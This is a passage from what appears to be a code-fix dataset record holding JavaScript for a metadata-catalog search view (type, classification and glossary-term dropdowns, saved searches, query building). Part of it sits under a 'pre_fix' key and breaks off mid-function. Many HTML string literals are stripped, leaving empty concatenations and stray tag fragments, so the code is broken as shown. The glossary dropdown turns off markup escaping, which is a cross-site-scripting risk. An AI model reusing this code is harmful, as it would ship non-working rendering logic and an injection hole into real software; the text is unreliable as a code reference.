(isTag && !that.typeEntityCheck) {\n var entityStatus = _.find(rule.rules, { id: \"__entityStatus\" });\n if (entityStatus) {\n that.tagEntityCheck = (entityStatus.value === \"ACTIVE\" && entityStatus.operator === \"=\") || (entityStatus.value === \"DELETED\" && entityStatus.operator === \"!=\") ? false : true;\n that.value.includeDE = that.tagEntityCheck\n } else if (that.tagEntityCheck) {\n that.tagEntityCheck = false;\n if (!that.typeEntityCheck) {\n that.value.includeDE = false;\n }\n }\n }\n }\n this.attrModal.modal.close();\n if ($(e.currentTarget).hasClass('search')) {\n this.findSearchResult();\n }\n }\n },\n manualRender: function(paramObj) {\n if (paramObj) {\n this.value = paramObj;\n }\n this.updateQueryObject(paramObj);\n this.renderTypeTagList();\n this.setValues(paramObj);\n },\n getFilterBox: function() {\n var serviceStr = '',\n serviceArr = [],\n that = this;\n this.typeHeaders.fullCollection.each(function(model) {\n var serviceType = model.toJSON().serviceType;\n if (serviceType) {\n serviceArr.push(serviceType);\n }\n });\n\n _.each(_.uniq(serviceArr), function(service) {\n serviceStr += '
  • ';\n });\n var templt = serviceStr + '
    ';\n return templt;\n },\n renderTypeTagList: function(options) {\n var that = this;\n var serviceTypeToBefiltered = (options && options.filterList);\n var isTypeOnly = options && options.isTypeOnly;\n if (this.selectedFilter[this.type].length) {\n serviceTypeToBefiltered = this.selectedFilter[this.type];\n }\n this.ui.typeLov.empty();\n var typeStr = '',\n tagStr = typeStr,\n foundNewClassification = false;\n this.typeHeaders.fullCollection.each(function(model) {\n var name = Utils.getName(model.toJSON(), 'name');\n if (model.get('category') == 'ENTITY' && (serviceTypeToBefiltered && serviceTypeToBefiltered.length ? _.includes(serviceTypeToBefiltered, model.get('serviceType')) : true)) {\n var entityCount = (that.entityCountObj.entity.entityActive[name] || 0) + (that.entityCountObj.entity.entityDeleted[name] || 0);\n typeStr += '';\n }\n if (isTypeOnly == undefined && model.get('category') == 'CLASSIFICATION') {\n var tagEntityCount = that.entityCountObj.tag.tagEntities[name];\n if (that.value && that.value.tag) { // to check if wildcard classification is present in our data\n if (name === that.value.tag) {\n foundNewClassification = true;\n }\n }\n tagStr += '';\n }\n });\n\n if (this.type !== \"dsl\") {\n _.each(Enums.addOnEntities, function(entity) {\n typeStr += '';\n });\n }\n if (!foundNewClassification && that.value) {\n if (that.value.tag) {\n var classificationValue = decodeURIComponent(that.value.tag);\n tagStr += '';\n }\n }\n if (_.isUndefined(isTypeOnly)) {\n //to insert extra classification list\n if (that.value) {\n _.each(Enums.addOnClassification, function(classificationName) {\n if (classificationName !== that.value.tag) {\n tagStr += '';\n }\n });\n }\n that.ui.tagLov.html(tagStr);\n this.ui.tagLov.select2({\n placeholder: \"Select Classification\",\n allowClear: true,\n tags: true,\n createTag: function(tag) {\n if (tag.term.indexOf('*') != -1) {\n return {\n id: tag.term,\n text: tag.term,\n isNew: true\n };\n }\n }\n });\n }\n that.ui.typeLov.html(typeStr);\n var typeLovSelect2 = this.ui.typeLov.select2({\n placeholder: \"Select Type\",\n dropdownAdapter: $.fn.select2.amd.require(\"ServiceTypeFilterDropdownAdapter\"),\n allowClear: true,\n getFilterBox: this.getFilterBox.bind(this),\n onFilterSubmit: function(options) {\n that.selectedFilter[that.type] = options.filterVal;\n that.filterTypeSelected = that.selectedFilter[that.type];\n that.renderTypeTagList({ \"filterList\": options.filterVal, isTypeOnly: true });\n that.checkForButtonVisiblity();\n }\n });\n if (this.value.filterTypeSelected === \"undefined\") {\n typeLovSelect2.on(\"select2:close\", function() {\n typeLovSelect2.trigger(\"hideFilter\");\n });\n if (typeLovSelect2 && isTypeOnly) {\n typeLovSelect2.select2('open').trigger(\"change\", { 'manual': true });\n }\n }\n if (that.setInitialEntityVal) {\n var defaultEntity = Enums.addOnEntities[0];\n that.value.type = defaultEntity;\n that.ui.typeLov.val(defaultEntity, null);\n }\n },\n renderTermList: function() {\n this.glossaryTermArray = null; //This Value is created to store the result of search Term while basic search through term.\n var that = this;\n var getTypeAheadData = function(data, params) {\n var dataList = data.entities,\n foundOptions = [];\n _.each(dataList, function(obj) {\n if (obj) {\n if (obj.guid) {\n obj['id'] = obj.attributes['qualifiedName'];\n }\n foundOptions.push(obj);\n }\n });\n return foundOptions;\n };\n this.ui.termLov.select2({\n placeholder: \"Search Term\",\n allowClear: true,\n ajax: {\n url: UrlLinks.searchApiUrl('attribute'),\n dataType: 'json',\n delay: 250,\n data: function(params) {\n return {\n attrValuePrefix: params.term, // search term\n typeName: \"AtlasGlossaryTerm\",\n limit: 10,\n offset: 0\n };\n },\n processResults: function(data, params) {\n that.glossaryTermArray = getTypeAheadData(data, params); //storing the search Results obj\n return {\n results: getTypeAheadData(data, params)\n };\n },\n cache: true\n },\n templateResult: function(option) {\n var name = Utils.getName(option, 'qualifiedName');\n return name === \"-\" ? option.text : name;\n },\n templateSelection: function(option) {\n var name = Utils.getName(option, 'qualifiedName');\n return name === \"-\" ? option.text : name;\n },\n escapeMarkup: function(markup) {\n return markup;\n },\n minimumInputLength: 1\n });\n },\n setValues: function(paramObj) {\n var arr = [],\n that = this;\n if (paramObj) {\n this.value = paramObj;\n }\n if (this.value.filterTypeSelected) {\n this.filterTypeSelected = this.value.filterTypeSelected.split(',');\n this.renderTypeTagList({ \"filterList\": this.filterTypeSelected, isTypeOnly: true });\n this.ui.typeLov.val(this.value.type);\n }\n if (this.value) {\n this.ui.searchInput.val(this.value.query || \"\");\n if (this.value.dslChecked == \"true\" || this.value.searchType === \"dsl\") {\n if (!this.ui.searchType.prop(\"checked\")) {\n this.ui.searchType.prop(\"checked\", true).trigger(\"change\");\n }\n } else {\n if (this.ui.searchType.prop(\"checked\")) {\n this.ui.searchType.prop(\"checked\", false).trigger(\"change\");\n }\n }\n this.ui.typeLov.val(this.value.type);\n if (this.ui.typeLov.data('select2')) {\n if (this.ui.typeLov.val() !== this.value.type) {\n this.value.type = null;\n this.ui.typeLov.val(\"\").trigger(\"change\", { 'manual': true });\n } else {\n this.ui.typeLov.trigger(\"change\", { 'manual': true });\n }\n }\n\n\n if (!this.dsl) {\n this.ui.tagLov.val(this.value.tag);\n if (this.ui.tagLov.data('select2')) {\n // To handle delete scenario.\n if (this.ui.tagLov.val() !== this.value.tag) {\n this.value.tag = null;\n this.ui.tagLov.val(\"\").trigger(\"change\", { 'manual': true });\n } else {\n this.ui.tagLov.trigger(\"change\", { 'manual': true });\n }\n }\n\n if (this.value.term) {\n this.ui.termLov.append('');\n }\n if (this.ui.termLov.data('select2')) {\n if (this.ui.termLov.val() !== this.value.term) {\n this.value.term = null;\n this.ui.termLov.val(\"\").trigger(\"change\", { 'manual': true });\n } else {\n this.ui.termLov.trigger(\"change\", { 'manual': true });\n }\n }\n }\n setTimeout(function() {\n that.ui.searchInput.focus();\n }, 0);\n }\n },\n findSearchResult: function() {\n this.triggerSearch(this.ui.searchInput.val());\n Globals.fromRelationshipSearch = false;\n },\n //This below function returns the searched Term Guid.\n getSearchedTermGuid: function() {\n var searchedTerm = this.ui.termLov.select2('val'),\n searchedTermGuid = null;\n if (searchedTerm) {\n this.glossaryTermArray.find(function(obj) {\n if (searchedTerm === obj.id)\n searchedTermGuid = obj.guid;\n });\n }\n return searchedTermGuid;\n },\n triggerSearch: function(value) {\n var params = {\n searchType: this.type,\n dslChecked: this.ui.searchType.is(':checked'),\n tagFilters: null,\n entityFilters: null,\n filterTypeSelected: this.filterTypeSelected\n },\n typeLovValue = this.ui.typeLov.find(':selected').data('name'), // to get count of selected element used data\n tagLovValue = this.ui.tagLov.find(':selected').data('name') || this.ui.tagLov.val(),\n termLovValue = this.ui.termLov.select2('val');\n params['type'] = typeLovValue || null;\n if (!this.dsl) {\n params['tag'] = tagLovValue || null;\n params['term'] = termLovValue || null;\n params['guid'] = this.getSearchedTermGuid(); //Adding Guid in the URL for selection while switching. \n var entityFilterObj = this.searchTableFilters['entityFilters'],\n tagFilterObj = this.searchTableFilters['tagFilters'];\n params['includeDE'] = false;\n params['excludeST'] = false;\n params['excludeSC'] = false;\n if (this.value) {\n if (this.value.tag) {\n params['tagFilters'] = tagFilterObj[this.value.tag]\n }\n if (this.value.type) {\n params['entityFilters'] = entityFilterObj[this.value.type]\n }\n var columnList = this.value.type && this.searchTableColumns ? this.searchTableColumns[this.value.type] : null;\n params['attributes'] = columnList ? columnList.join(',') : null;\n params['includeDE'] = _.isUndefinedNull(this.value.includeDE) ? false : this.value.includeDE;\n params['excludeST'] = _.isUndefinedNull(this.value.excludeST) ? false : this.value.excludeST;\n params['excludeSC'] = _.isUndefinedNull(this.value.excludeSC) ? false : this.value.excludeSC;\n }\n }\n if (this.value && !_.isUndefinedNull(this.value.pageLimit)) {\n params['pageLimit'] = this.value.pageLimit;\n }\n if (this.value && !_.isUndefinedNull(this.value.pageOffset)) {\n if (!_.isUndefinedNull(this.query[this.type]) && this.query[this.type].query != value) {\n params['pageOffset'] = 0;\n } else {\n params['pageOffset'] = this.value.pageOffset;\n }\n }\n params['query'] = value || null;\n _.extend(this.query[this.type], params);\n Utils.setUrl({\n url: '#!/search/searchResult',\n urlParams: _.extend({}, this.query[this.type]),\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n },\n dslFulltextToggle: function(e) {\n var paramObj = Utils.getUrlState.getQueryParams();\n if (paramObj && this.type == paramObj.searchType) {\n this.updateQueryObject(paramObj);\n }\n if (e.currentTarget.checked) {\n this.type = \"dsl\";\n this.dsl = true;\n this.$('.typeFilterBtn,.tagBox,.termBox,.basicSaveSearch').hide();\n this.$('.typeFilter').addClass('col-sm-12');\n this.$('.typeFilter').removeClass('col-sm-10');\n this.$('.advanceSaveSearch').show();\n this.$('.searchText').text('Search By Query');\n this.ui.searchInput.attr(\"placeholder\", 'Search By Query eg. where name=\"sales_fact\"');\n } else {\n this.$('.typeFilter').addClass('col-sm-10');\n this.$('.typeFilter').removeClass('col-sm-12');\n this.$('.typeFilterBtn,.tagBox,.termBox,.basicSaveSearch').show();\n this.$('.advanceSaveSearch').hide();\n this.dsl = false;\n this.type = \"basic\";\n this.$('.searchText').text('Search By Text');\n this.ui.searchInput.attr(\"placeholder\", \"Search By Text\");\n }\n if (Utils.getUrlState.isSearchTab()) {\n Utils.setUrl({\n url: '#!/search/searchResult',\n urlParams: _.extend(this.query[this.type], {\n searchType: this.type,\n dslChecked: this.ui.searchType.is(':checked')\n }),\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n }\n },\n clearSearchData: function() {\n this.selectedFilter[this.type] = [];\n this.filterTypeSelected = [];\n this.renderTypeTagList();\n this.updateQueryObject();\n this.ui.typeLov.val(\"\").trigger(\"change\");\n this.ui.tagLov.val(\"\").trigger(\"change\");\n this.ui.searchInput.val(\"\");\n var type = \"basicSaveSearch\";\n if (this.type == \"dsl\") {\n type = \"advanceSaveSearch\";\n }\n this.$('.' + type + ' .saveSearchList').find('li.active').removeClass('active');\n this.$('.' + type + ' [data-id=\"saveBtn\"]').attr('disabled', true);\n if (!this.dsl) {\n this.searchTableFilters.tagFilters = {};\n this.searchTableFilters.entityFilters = {};\n }\n this.checkForButtonVisiblity();\n Utils.setUrl({\n url: '#!/search/searchResult',\n urlParams: {\n searchType: this.type,\n dslChecked: this.ui.searchType.is(':checked')\n },\n mergeBrowserUrl: false,\n trigger: true\n });\n }\n });\n return SearchLayoutView;\n});" +pre_fix = "], function(require, Backbone, SearchLayoutViewTmpl, Utils, UrlLinks, Globals, Enums, VSearchList, CommonViewFunction, Modal) {\n 'use strict';\n\n var SearchLayoutView = Backbone.Marionette.LayoutView.extend(\n /** @lends SearchLayoutView */\n {\n _viewName: 'SearchLayoutView',\n\n template: SearchLayoutViewTmpl,\n\n /** Layout sub regions */\n regions: {\n RSaveSearchBasic: \"[data-id='r_saveSearchBasic']\",\n RSaveSearchAdvance: \"[data-id='r_saveSearchAdvance']\",\n RRelationSearch: \"[data-id='r_relationshipSearch']\"\n },\n\n /** ui selector cache */\n ui: {\n searchInput: '[data-id=\"searchInput\"]',\n searchType: 'input[name=\"queryType\"]',\n searchBtn: '[data-id=\"searchBtn\"]',\n clearSearch: '[data-id=\"clearSearch\"]',\n typeLov: '[data-id=\"typeLOV\"]',\n tagLov: '[data-id=\"tagLOV\"]',\n termLov: '[data-id=\"termLOV\"]',\n refreshBtn: '[data-id=\"refreshBtn\"]',\n advancedInfoBtn: '[data-id=\"advancedInfo\"]',\n typeAttrFilter: '[data-id=\"typeAttrFilter\"]',\n tagAttrFilter: '[data-id=\"tagAttrFilter\"]',\n tablist: '[data-id=\"tab-searchlist\"] li',\n searchTabs:'[data-id=\"searchTabs\"]',\n searchTabBody:'[data-id=\"searchTabBody\"]',\n },\n\n /** ui events hash */\n events: function() {\n var events = {},\n that = this;\n events[\"keyup \" + this.ui.searchInput] = function(e) {\n var code = e.which;\n this.value.query = e.currentTarget.value;\n this.query[this.type].query = this.value.query;\n if (code == 13) {\n that.findSearchResult();\n }\n this.checkForButtonVisiblity();\n };\n events[\"change \" + this.ui.searchType] = 'dslFulltextToggle';\n events[\"click \" + this.ui.searchBtn] = 'findSearchResult';\n events[\"click \" + this.ui.clearSearch] = 'clearSearchData';\n events[\"change \" + this.ui.typeLov] = 'checkForButtonVisiblity';\n events[\"change \" + this.ui.tagLov] = 'checkForButtonVisiblity';\n events[\"change \" + this.ui.termLov] = 'checkForButtonVisiblity';\n events[\"click \" + this.ui.refreshBtn] = 'onRefreshButton';\n events[\"click \" + this.ui.advancedInfoBtn] = 'advancedInfo';\n events[\"click \" + this.ui.tablist] = function(e) {\n var tabValue = $(e.currentTarget).attr('role'),\n redirectionUrl = '#!/search';\n this.isRelationSearch = (tabValue === \"relationship-search\") ? true : false;\n if (this.isRelationSearch) {\n redirectionUrl = '#!/relationship';\n }\n Utils.setUrl({\n url: redirectionUrl,\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n };\n events[\"click \" + this.ui.typeAttrFilter] = function() {\n this.openAttrFilter('type');\n };\n events[\"click \" + this.ui.tagAttrFilter] = function() {\n this.openAttrFilter('tag');\n };\n return events;\n },\n /**\n * intialize a new SearchLayoutView Layout\n * @constructs\n */\n initialize: function(options) {\n _.extend(this, _.pick(options, 'value', 'typeHeaders', 'searchVent', 'entityDefCollection', 'enumDefCollection', 'classificationDefCollection', 'businessMetadataDefCollection', 'searchTableColumns', 'searchTableFilters', 'metricCollection', 'classificationAndMetricEvent'));\n this.type = \"basic\";\n this.entityCountObj = _.first(this.metricCollection.toJSON()) || { entity: { entityActive: {}, entityDeleted: {} }, tag: { tagEntities: {} } };\n this.selectedFilter = {\n 'basic': [],\n 'dsl': []\n };\n this.filterTypeSelected = null;\n var param = Utils.getUrlState.getQueryParams();\n this.query = {\n dsl: {\n query: this.value ? this.value.query : null,\n type: this.value ? this.value.type : null,\n pageOffset: this.value ? this.value.pageOffset : null,\n pageLimit: this.value ? this.value.pageLimit : null\n },\n basic: {\n query: this.value ? this.value.query : null,\n type: this.value ? this.value.type : null,\n tag: this.value ? this.value.tag : null,\n term: this.value ? this.value.term : null,\n attributes: this.value ? this.value.attributes : null,\n tagFilters: this.value ? this.value.tagFilters : null,\n pageOffset: this.value ? this.value.pageOffset : null,\n pageLimit: this.value ? this.value.pageLimit : null,\n entityFilters: this.value ? this.value.entityFilters : null,\n includeDE: this.value ? this.value.includeDE : null,\n excludeST: this.value ? this.value.excludeST : null,\n excludeSC: this.value ? this.value.excludeSC : null\n }\n };\n if (!this.value) {\n this.value = {};\n }\n this.dsl = false;\n if (param && param.searchType) {\n this.type = param.searchType;\n this.updateQueryObject(param);\n }\n if ((this.value && this.value.type) || (this.value && this.value.tag && this.value.searchType === \"basic\")) {\n this.setInitialEntityVal = false;\n } else {\n this.setInitialEntityVal = true;\n }\n this.tagEntityCheck = false;\n this.typeEntityCheck = false;\n this.bindEvents();\n this.isRelationSearch = false;\n this.renderRelationshipSearchView();\n },\n renderSaveSearch: function() {\n var that = this;\n require(['views/search/save/SaveSearchView'], function(SaveSearchView) {\n var saveSearchBaiscCollection = new VSearchList(),\n saveSearchAdvanceCollection = new VSearchList(),\n saveSearchCollection = new VSearchList();\n saveSearchCollection.url = UrlLinks.saveSearchApiUrl();\n saveSearchBaiscCollection.fullCollection.comparator = function(model) {\n return model.get('name').toLowerCase();\n }\n saveSearchAdvanceCollection.fullCollection.comparator = function(model) {\n return model.get('name').toLowerCase();\n }\n var obj = {\n value: that.value,\n searchVent: that.searchVent,\n typeHeaders: that.typeHeaders,\n fetchCollection: fetchSaveSearchCollection,\n classificationDefCollection: that.classificationDefCollection,\n entityDefCollection: that.entityDefCollection,\n getValue: function() {\n var queryObj = that.query[that.type],\n entityObj = that.searchTableFilters['entityFilters'],\n tagObj = that.searchTableFilters['tagFilters'],\n urlObj = Utils.getUrlState.getQueryParams();\n if (urlObj) {\n // includeDE value in because we need to send \"true\",\"false\" to the server.\n urlObj.includeDE = urlObj.includeDE == \"true\" ? true : false;\n urlObj.excludeSC = urlObj.excludeSC == \"true\" ? true : false;\n urlObj.excludeST = urlObj.excludeST == \"true\" ? true : false;\n }\n return _.extend({}, queryObj, urlObj, {\n 'entityFilters': entityObj ? entityObj[queryObj.type] : null,\n 'tagFilters': tagObj ? tagObj[queryObj.tag] : null,\n 'type': queryObj.type,\n 'query': queryObj.query,\n 'term': queryObj.term,\n 'tag': queryObj.tag\n })\n },\n applyValue: function(model, searchType) {\n that.manualRender(_.extend(searchType, CommonViewFunction.generateUrlFromSaveSearchObject({\n value: { \"searchParameters\": model.get('searchParameters'), 'uiParameters': model.get('uiParameters') },\n classificationDefCollection: that.classificationDefCollection,\n entityDefCollection: that.entityDefCollection\n })));\n }\n }\n that.RSaveSearchBasic.show(new SaveSearchView(_.extend(obj, {\n isBasic: true,\n collection: saveSearchBaiscCollection.fullCollection\n })));\n that.RSaveSearchAdvance.show(new SaveSearchView(_.extend(obj, {\n isBasic: false,\n collection: saveSearchAdvanceCollection.fullCollection\n })));\n\n function fetchSaveSearchCollection() {\n saveSearchCollection.fetch({\n success: function(collection, data) {\n saveSearchAdvanceCollection.fullCollection.reset(_.where(data, { \"searchType\": \"ADVANCED\" }));\n saveSearchBaiscCollection.fullCollection.reset(_.where(data, { \"searchType\": \"BASIC\" }));\n },\n silent: true\n });\n }\n fetchSaveSearchCollection();\n });\n },\n renderRelationshipSearchView: function() {\n var that = this;\n require(['views/search/RelationSearchLayoutView'], function(RelationSearchLayoutView) {\n that.RRelationSearch.show(new RelationSearchLayoutView(that.options));\n });\n },\n bindEvents: function(param) {\n var that = this;\n this.listenTo(this.typeHeaders, \"reset\", function(value) {\n this.initializeValues();\n }, this);\n this.listenTo(this.searchVent, \"entityList:refresh\", function(model, response) {\n this.onRefreshButton();\n }, this);\n this.classificationAndMetricEvent.on(\"classification:Update:Search\", function(options) {\n that.entityCountObj = _.first(that.metricCollection.toJSON());\n that.value = Utils.getUrlState.getQueryParams() || {};\n if (!that.value.type) that.setInitialEntityVal = true;\n that.initializeValues();\n });\n },\n initializeValues: function() {\n this.renderTypeTagList();\n this.renderTermList();\n this.setValues();\n this.checkForButtonVisiblity();\n this.renderSaveSearch();\n if (this.setInitialEntityVal) {\n this.setInitialEntityVal = false;\n }\n },\n makeFilterButtonActive: function(filtertypeParam) {\n var filtertype = ['entityFilters', 'tagFilters'],\n that = this;\n if (filtertypeParam) {\n if (_.isArray(filtertypeParam)) {\n filtertype = filtertypeParam;\n } else if (_.isString(filtertypeParam)) {\n filtertype = [filtertypeParam];\n }\n }\n var typeCheck = function(filterObj, type) {\n if (that.value.type) {\n if (filterObj && filterObj.length) {\n that.ui.typeAttrFilter.addClass('active');\n } else {\n that.ui.typeAttrFilter.removeClass('active');\n }\n that.ui.typeAttrFilter.prop('disabled', false);\n } else {\n that.ui.typeAttrFilter.removeClass('active');\n that.ui.typeAttrFilter.prop('disabled', true);\n }\n }\n var tagCheck = function(filterObj, type) {\n var filterAddOn = Enums.addOnClassification.filter(function(a) { a !== Enums.addOnClassification[0] });\n if (that.value.tag && !_.contains(filterAddOn, that.value.tag)) {\n that.ui.tagAttrFilter.prop('disabled', false);\n if (filterObj && filterObj.length) {\n that.ui.tagAttrFilter.addClass('active');\n } else {\n that.ui.tagAttrFilter.removeClass('active');\n }\n } else {\n that.ui.tagAttrFilter.removeClass('active');\n that.ui.tagAttrFilter.prop('disabled', true);\n }\n }\n _.each(filtertype, function(type) {\n var filterObj = that.searchTableFilters[type];\n if (type == \"entityFilters\") {\n typeCheck(filterObj[that.value.type], type);\n }\n if (type == \"tagFilters\") {\n tagCheck(filterObj[that.value.tag], type);\n }\n });\n },\n checkForButtonVisiblity: function(e, options) {\n var that = this,\n isBasicSearch = (this.type == \"basic\");\n if (e && e.currentTarget) {\n var $el = $(e.currentTarget),\n isTagEl = $el.data('id') == \"tagLOV\",\n isTermEl = $el.data('id') == \"termLOV\",\n isTypeEl = $el.data('id') == \"typeLOV\",\n select2Data = $el.select2('data');\n if (e.type == \"change\" && select2Data) {\n var value = (_.isEmpty(select2Data) ? select2Data : _.first(select2Data).id),\n key = \"tag\",\n filterType = isBasicSearch ? 'tagFilters' : null,\n value = value && value.length ? value : null;\n if (!isTagEl) {\n key = (isTermEl ? \"term\" : \"type\");\n if (isBasicSearch) {\n filterType = (isTypeEl ? \"entityFilters\" : null);\n }\n }\n if (this.value) {\n //On Change handle\n if (this.value[key] !== value || (!value && !this.value[key])) {\n var temp = {};\n temp[key] = value;\n _.extend(this.value, temp);\n // on change of type/tag change the offset.\n if (_.isUndefined(options)) {\n this.value.pageOffset = 0;\n }\n _.extend(this.query[this.type], temp);\n } else if (isBasicSearch) {\n // Initial loading handle.\n if (filterType) {\n var filterObj = this.searchTableFilters[filterType];\n if (filterObj && this.value[key]) {\n this.searchTableFilters[filterType][this.value[key]] = this.value[filterType] ? this.value[filterType] : null;\n }\n }\n\n if (this.value.type) {\n if (this.value.attributes) {\n var attributes = _.sortBy(this.value.attributes.split(',')),\n tableColumn = this.searchTableColumns[this.value.type];\n if (_.isEmpty(this.searchTableColumns) || !tableColumn) {\n this.searchTableColumns[this.value.type] = attributes\n } else if (tableColumn.join(\",\") !== attributes.join(\",\")) {\n this.searchTableColumns[this.value.type] = attributes;\n }\n } else if (this.searchTableColumns[this.value.type]) {\n this.searchTableColumns[this.value.type] = undefined;\n }\n }\n }\n if (isBasicSearch && filterType) {\n this.makeFilterButtonActive(filterType);\n }\n } else if (isBasicSearch) {\n this.ui.tagAttrFilter.prop('disabled', true);\n this.ui.typeAttrFilter.prop('disabled', true);\n }\n }\n }\n\n var value = this.ui.searchInput.val() || _.first($(this.ui.typeLov).select2('data')).id;\n if (!this.dsl && _.isEmpty(value)) {\n var termData = _.first($(this.ui.termLov).select2('data'));\n value = _.first($(this.ui.tagLov).select2('data')).id || (termData ? termData.id : \"\");\n }\n if (value && value.length) {\n this.ui.searchBtn.removeAttr(\"disabled\");\n setTimeout(function() {\n that.ui.searchInput.focus();\n }, 0);\n } else {\n this.ui.searchBtn.attr(\"disabled\", \"true\");\n }\n },\n onRender: function() {\n // array of tags which is coming from url\n this.initializeValues();\n this.updateTabState();\n if(!Globals.isRelationshipSearchEnabled){ // hide relationship search\n this.ui.searchTabs.addClass(\"disable-relationship-search\");\n this.ui.searchTabBody.addClass(\"search-tab-body\");\n }\n },\n updateTabState: function() {\n if ((Utils.getUrlState.isRelationTab() || Utils.getUrlState.isRelationshipDetailPage()) && !this.isRelationSearch) {\n var tabActive = (Utils.getUrlState.isRelationTab() || Utils.getUrlState.isRelationshipDetailPage()) ? \"relationship-search\" : \"basic-search\";\n this.$('.nav.nav-tabs').find('[role=\"' + tabActive + '\"]').addClass('active').siblings().removeClass('active');\n this.$('.tab-content').find('[role=\"' + tabActive + '\"]').addClass('active').siblings().removeClass('active');\n }\n },\n updateQueryObject: function(param) {\n if (param && param.searchType) {\n this.type = param.searchType;\n }\n _.extend(this.query[this.type],\n (this.type == \"dsl\" ? {\n query: null,\n type: null,\n pageOffset: null,\n pageLimit: null\n } : {\n query: null,\n type: null,\n tag: null,\n term: null,\n attributes: null,\n tagFilters: null,\n pageOffset: null,\n pageLimit: null,\n entityFilters: null,\n includeDE: null\n }), param);\n },\n onRefreshButton: function() {\n Utils.disableRefreshButton(this.ui.refreshBtn, this);\n var that = this,\n apiCount = 2,\n updateSearchList = function() {\n if (apiCount === 0) {\n that.initializeValues();\n var checkURLValue = Utils.getUrlState.getQueryParams(that.url);\n if (that.searchVent && (_.has(checkURLValue, \"tag\") || _.has(checkURLValue, \"type\") || _.has(checkURLValue, \"query\"))) {\n that.searchVent.trigger('search:refresh');\n }\n }\n };\n this.metricCollection.fetch({\n complete: function() {\n --apiCount;\n that.entityCountObj = _.first(that.metricCollection.toJSON());\n updateSearchList();\n }\n });\n\n this.typeHeaders.fetch({\n silent: true,\n complete: function() {\n --apiCount;\n updateSearchList();\n }\n });\n },\n advancedInfo: function(e) {\n require([\n 'views/search/AdvancedSearchInfoView',\n 'modules/Modal'\n ], function(AdvancedSearchInfoView, Modal) {\n var view = new AdvancedSearchInfoView();\n var modal = new Modal({\n title: 'Advanced Search Queries',\n content: view,\n okCloses: true,\n showFooter: true,\n allowCancel: false\n }).open();\n view.on('closeModal', function() {\n modal.trigger('cancel');\n });\n });\n },\n openAttrFilter: function(filterType) {\n var that = this;\n require(['views/search/SearchQueryView'], function(SearchQueryView) {\n that.attrModal = new SearchQueryView({\n value: that.value,\n tag: (filterType === \"tag\" ? true : false),\n type: (filterType === \"type\" ? true : false),\n searchVent: that.searchVent,\n typeHeaders: that.typeHeaders,\n entityDefCollection: that.entityDefCollection,\n enumDefCollection: that.enumDefCollection,\n classificationDefCollection: that.classificationDefCollection,\n businessMetadataDefCollection: that.businessMetadataDefCollection,\n searchTableFilters: that.searchTableFilters,\n\n });\n that.attrModal.on('ok', function(scope, e) {\n that.okAttrFilterButton(e);\n });\n });\n },\n okAttrFilterButton: function(e) {\n var that = this,\n isTag = this.attrModal.tag ? true : false,\n filtertype = isTag ? 'tagFilters' : 'entityFilters',\n queryBuilderRef = this.attrModal.RQueryBuilder.currentView.ui.builder,\n col = [];\n\n function getIdFromRuleObject(rule) {\n _.map(rule.rules, function(obj, key) {\n if (_.has(obj, 'condition')) {\n return getIdFromRuleObject(obj);\n } else {\n return col.push(obj.id)\n }\n });\n return col;\n }\n if (queryBuilderRef.data('queryBuilder')) {\n var rule = queryBuilderRef.queryBuilder('getRules');\n }\n if (rule) {\n var ruleUrl = CommonViewFunction.attributeFilter.generateUrl({ \"value\": rule, \"formatedDateToLong\": true });\n this.searchTableFilters[filtertype][(isTag ? this.value.tag : this.value.type)] = ruleUrl;\n this.makeFilterButtonActive(filtertype);\n if (!isTag && this.value && this.value.type && this.searchTableColumns) {\n if (!this.searchTableColumns[this.value.type]) {\n this.searchTableColumns[this.value.type] = [\"selected\", \"name\", \"owner\", \"description\", \"tag\", \"typeName\"]\n }\n this.searchTableColumns[this.value.type] = _.sortBy(_.union(this.searchTableColumns[this.value.type], getIdFromRuleObject(rule)));\n }\n if (rule.rules) {\n if (!isTag && !that.tagEntityCheck) {\n var state = _.find(rule.rules, { id: \"__state\" });\n if (state) {\n that.typeEntityCheck = (state.value === \"ACTIVE\" && state.operator === \"=\") || (state.value === \"DELETED\" && state.operator === \"!=\") ? false : true;\n that.value.includeDE = that.typeEntityCheck;\n } else if (that.typeEntityCheck) {\n that.typeEntityCheck = false;\n if (!that.tagEntityCheck) {\n that.value.includeDE = false;\n }\n }\n }\n if (isTag && !that.typeEntityCheck) {\n var entityStatus = _.find(rule.rules, { id: \"__entityStatus\" });\n if (entityStatus) {\n that.tagEntityCheck = (entityStatus.value === \"ACTIVE\" && entityStatus.operator === \"=\") || (entityStatus.value === \"DELETED\" && entityStatus.operator === \"!=\") ? false : true;\n that.value.includeDE = that.tagEntityCheck\n } else if (that.tagEntityCheck) {\n that.tagEntityCheck = false;\n if (!that.typeEntityCheck) {\n that.value.includeDE = false;\n }\n }\n }\n }\n this.attrModal.modal.close();\n if ($(e.currentTarget).hasClass('search')) {\n this.findSearchResult();\n }\n }\n },\n manualRender: function(paramObj) {\n if (paramObj) {\n this.value = paramObj;\n }\n this.updateQueryObject(paramObj);\n this.renderTypeTagList();\n this.setValues(paramObj);\n },\n getFilterBox: function() {\n var serviceStr = '',\n serviceArr = [],\n that = this;\n this.typeHeaders.fullCollection.each(function(model) {\n var serviceType = model.toJSON().serviceType;\n if (serviceType) {\n serviceArr.push(serviceType);\n }\n });\n\n _.each(_.uniq(serviceArr), function(service) {\n serviceStr += '
  • ';\n });\n var templt = serviceStr + '
    ';\n return templt;\n },\n renderTypeTagList: function(options) {\n var that = this;\n var serviceTypeToBefiltered = (options && options.filterList);\n var isTypeOnly = options && options.isTypeOnly;\n if (this.selectedFilter[this.type].length) {\n serviceTypeToBefiltered = this.selectedFilter[this.type];\n }\n this.ui.typeLov.empty();\n var typeStr = '',\n tagStr = typeStr,\n foundNewClassification = false;\n this.typeHeaders.fullCollection.each(function(model) {\n var name = Utils.getName(model.toJSON(), 'name');\n if (model.get('category') == 'ENTITY' && (serviceTypeToBefiltered && serviceTypeToBefiltered.length ? _.contains(serviceTypeToBefiltered, model.get('serviceType')) : true)) {\n var entityCount = (that.entityCountObj.entity.entityActive[name] || 0) + (that.entityCountObj.entity.entityDeleted[name] || 0);\n typeStr += '';\n }\n if (isTypeOnly == undefined && model.get('category') == 'CLASSIFICATION') {\n var tagEntityCount = that.entityCountObj.tag.tagEntities[name];\n if (that.value && that.value.tag) { // to check if wildcard classification is present in our data\n if (name === that.value.tag) {\n foundNewClassification = true;\n }\n }\n tagStr += '';\n }\n });\n\n if (this.type !== \"dsl\") 